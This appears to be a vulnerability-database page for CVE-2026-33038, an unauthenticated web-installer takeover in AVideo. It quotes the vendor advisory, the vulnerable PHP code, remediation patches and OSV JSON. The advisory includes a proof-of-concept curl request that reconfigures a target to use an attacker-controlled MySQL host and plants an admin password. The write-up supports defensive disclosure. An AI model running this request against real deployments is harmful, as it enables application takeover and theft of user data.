CVE-2026-33038: Wwbn/avideo AVideo Affected By Unauthenticated Application Vulnerability

HIGH
Advisory Identifier: GHSA-2f9h-23f7-8gcx
CVSS 8.1
CWE-306
Published
Advisory Summary

CVE-2026-33038 is a HIGH (CVSS 8.1) avideo affected by unauthenticated application vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33038 at a Glance

CVE Identifier CVE-2026-33038
GHSA Identifier GHSA-2f9h-23f7-8gcx
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33038

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33038, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `install/checkConfiguration.php` endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access. ## Affected Component - `install/checkConfiguration.php` — entire file (lines 1-273) ## Description ### No authentication or access restriction on installer endpoint The `checkConfiguration.php` file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check: ```php // install/checkConfiguration.php — lines 2-5 if (file_exists("../videos/configuration.php")) { error_log("Can not create configuration again: ". json_encode($_SERVER)); exit; } ``` If `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters. ### Attacker-controlled database host eliminates credential guessing Unlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host: ```php // install/checkConfiguration.php — line 25 $mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], "", $_POST['databasePort']); ``` The attacker can: 1. Run their own MySQL server with the AVideo schema pre-loaded 2. Set `databaseHost` to their server's IP 3. The connection succeeds (attacker controls the DB) 4. The configuration file is written pointing the application at the attacker's database permanently ### Admin account creation with unsanitized input The admin user is created with direct POST parameter concatenation into SQL: ```php // install/checkConfiguration.php — line 120 $sql = "INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '" . $_POST['contactEmail'] . "', '" . md5($_POST['systemAdminPass']) . "', now(), now(), true)"; ``` This has two issues: (1) the attacker controls the admin password, and (2) `$_POST['contactEmail']` is directly concatenated into SQL without escaping (SQL injection). ### Configuration file written with attacker-controlled values The configuration file is written to disk with all attacker-supplied values embedded: ```php // install/checkConfiguration.php — lines 238-247 $videosDir = $_POST['systemRootPath'].'videos/'; if(!is_dir($videosDir)){ mkdir($videosDir, 0777, true); } $fp = fopen("{$videosDir}configuration.php", "wb"); fwrite($fp, $content); fclose($fp); ``` The `$content` variable (built at lines 188-236) embeds `$_POST['databaseHost']`, `$_POST['databaseUser']`, `$_POST['databasePass']`, `$_POST['webSiteRootURL']`, `$_POST['systemRootPath']`, and `$_POST['salt']` directly into the PHP configuration file. ### Inconsistent defense: CLI installer is protected, web endpoint is not The CLI installer (`install/install.php`) properly restricts access: ```php // install/install.php — lines 3-5 if (!isCommandLineInterface()) { die('Command Line only'); } ``` The web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern. ### No web server protection on install directory There is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`. ### Execution chain 1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed) 2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration 3. The script connects to the attacker's database (or the target's with guessed/default credentials) 4. Tables are created, admin user is inserted with attacker's password 5. `configuration.php` is written to disk, permanently configuring the application 6. Attacker logs in as admin with full control over the application ## Proof of Concept **Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema: ```bash # On attacker's server mysql -e "CREATE DATABASE avideo;" mysql avideo < database.sql # Use AVideo's own schema file ``` **Step 2:** Send the installation request to the target: ```bash curl -s -X POST https://TARGET/install/checkConfiguration.php \ -d 'systemRootPath=/var/www/html/AVideo/' \ -d 'databaseHost=ATTACKER_MYSQL_IP' \ -d 'databasePort=3306' \ -d 'databaseUser=attacker' \ -d 'databasePass=attacker_pass' \ -d 'databaseName=avideo' \ -d 'createTables=1' \ -d 'contactEmail=attacker@example.com' \ -d 'systemAdminPass=AttackerPass123!' \ -d 'webSiteTitle=Pwned' \ -d 'mainLanguage=en_US' \ -d 'webSiteRootURL=https://TARGET/' ``` **Step 3:** Log in as admin: ``` Username: admin Password: AttackerPass123! ``` The attacker now has full administrative access. If using their own database, they control all application data. ## Impact - **Full application takeover:** Attacker becomes the sole admin with complete control - **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack - **Data exfiltration:** If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker - **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution - **SQL injection bonus:** `$_POST['contactEmail']` on line 120 is directly concatenated into SQL, allowing additional database manipulation ## Recommended Remediation ### Option 1: Add a one-time setup token (preferred) Generate a random setup token during deployment that must be provided to complete installation: ```php // At the top of install/checkConfiguration.php, after the file_exists check: // Require a setup token that was generated during deployment $setupTokenFile = __DIR__ . '/../videos/.setup_token'; if (!file_exists($setupTokenFile)) { $obj = new stdClass(); $obj->error = "Setup token file not found. Create videos/.setup_token with a random secret."; header('Content-Type: application/json'); echo json_encode($obj); exit; } $expectedToken = trim(file_get_contents($setupTokenFile)); if (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) { $obj = new stdClass(); $obj->error = "Invalid setup token."; header('Content-Type: application/json'); echo json_encode($obj); exit; } ``` ### Option 2: Restrict installer to localhost/CLI only Block web access to the installer entirely: ```php // At the top of install/checkConfiguration.php, after the file_exists check: if (!isCommandLineInterface()) { $allowedIPs = ['127.0.0.1', '::1']; if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) { header('Content-Type: application/json'); echo json_encode(['error' => 'Installation is only allowed from localhost']); exit; } } ``` Additionally, add an `.htaccess` file in the `install/` directory: ```apache # install/.htaccess <Files "checkConfiguration.php"> Require local </Files> ``` ### Additional fixes needed 1. **Parameterize SQL queries** on line 120 to prevent SQL injection: ```php $stmt = $mysqli->prepare("INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)"); $hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash() $stmt->bind_param("ss", $_POST['contactEmail'], $hashedPass); $stmt->execute(); ``` 2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-33038 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 25.0

References

Frequently Asked Questions

What is CVE-2026-33038?
CVE-2026-33038 is a security vulnerability in Wwbn/avideo involving AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments under CWE-306: Missing Authentication for Critical Function.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33038?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33038?
CVE-2026-33038 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33038?
CVE-2026-33038 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Packagist dependencies for CVE-2026-33038?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f9h-23f7-8gcx",
  "modified" : "2026-03-20T21:22:32Z",
  "published" : "2026-03-17T19:46:40Z",
  "aliases" : [ "CVE-2026-33038" ],
  "summary" : "AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments",
  "details" : "## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` — entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php — lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n    error_log(\"Can not create configuration again: \".  json_encode($_SERVER));\n    exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php — line 25\n$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], \"\", $_POST['databasePort']);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server's IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker's database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php — line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '\"\n     . $_POST['contactEmail'] . \"', '\" . md5($_POST['systemAdminPass']) . \"', now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST['contactEmail']` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php — lines 238-247\n$videosDir = $_POST['systemRootPath'].'videos/';\n\nif(!is_dir($videosDir)){\n    mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST['databaseHost']`, `$_POST['databaseUser']`, `$_POST['databasePass']`, `$_POST['webSiteRootURL']`, `$_POST['systemRootPath']`, and `$_POST['salt']` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php — lines 3-5\nif (!isCommandLineInterface()) {\n    die('Command Line only');\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker's database (or the target's with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker's password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker's server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo < database.sql  # Use AVideo's own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n  -d 'systemRootPath=/var/www/html/AVideo/' \\\n  -d 'databaseHost=ATTACKER_MYSQL_IP' \\\n  -d 'databasePort=3306' \\\n  -d 'databaseUser=attacker' \\\n  -d 'databasePass=attacker_pass' \\\n  -d 'databaseName=avideo' \\\n  -d 'createTables=1' \\\n  -d 'contactEmail=attacker@example.com' \\\n  -d 'systemAdminPass=AttackerPass123!' \\\n  -d 'webSiteTitle=Pwned' \\\n  -d 'mainLanguage=en_US' \\\n  -d 'webSiteRootURL=https://TARGET/'\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST['contactEmail']` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . '/../videos/.setup_token';\nif (!file_exists($setupTokenFile)) {\n    $obj = new stdClass();\n    $obj->error = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n    header('Content-Type: application/json');\n    echo json_encode($obj);\n    exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {\n    $obj = new stdClass();\n    $obj->error = \"Invalid setup token.\";\n    header('Content-Type: application/json');\n    echo json_encode($obj);\n    exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n    $allowedIPs = ['127.0.0.1', '::1'];\n    if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {\n        header('Content-Type: application/json');\n        echo json_encode(['error' => 'Installation is only allowed from localhost']);\n        exit;\n    }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n<Files \"checkConfiguration.php\">\n    Require local\n</Files>\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli->prepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()\n$stmt->bind_param(\"ss\", $_POST['contactEmail'], $hashedPass);\n$stmt->execute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "25.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33038"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T19:46:40Z",
    "nvd_published_at" : "2026-03-20T06:16:11Z"
  }
}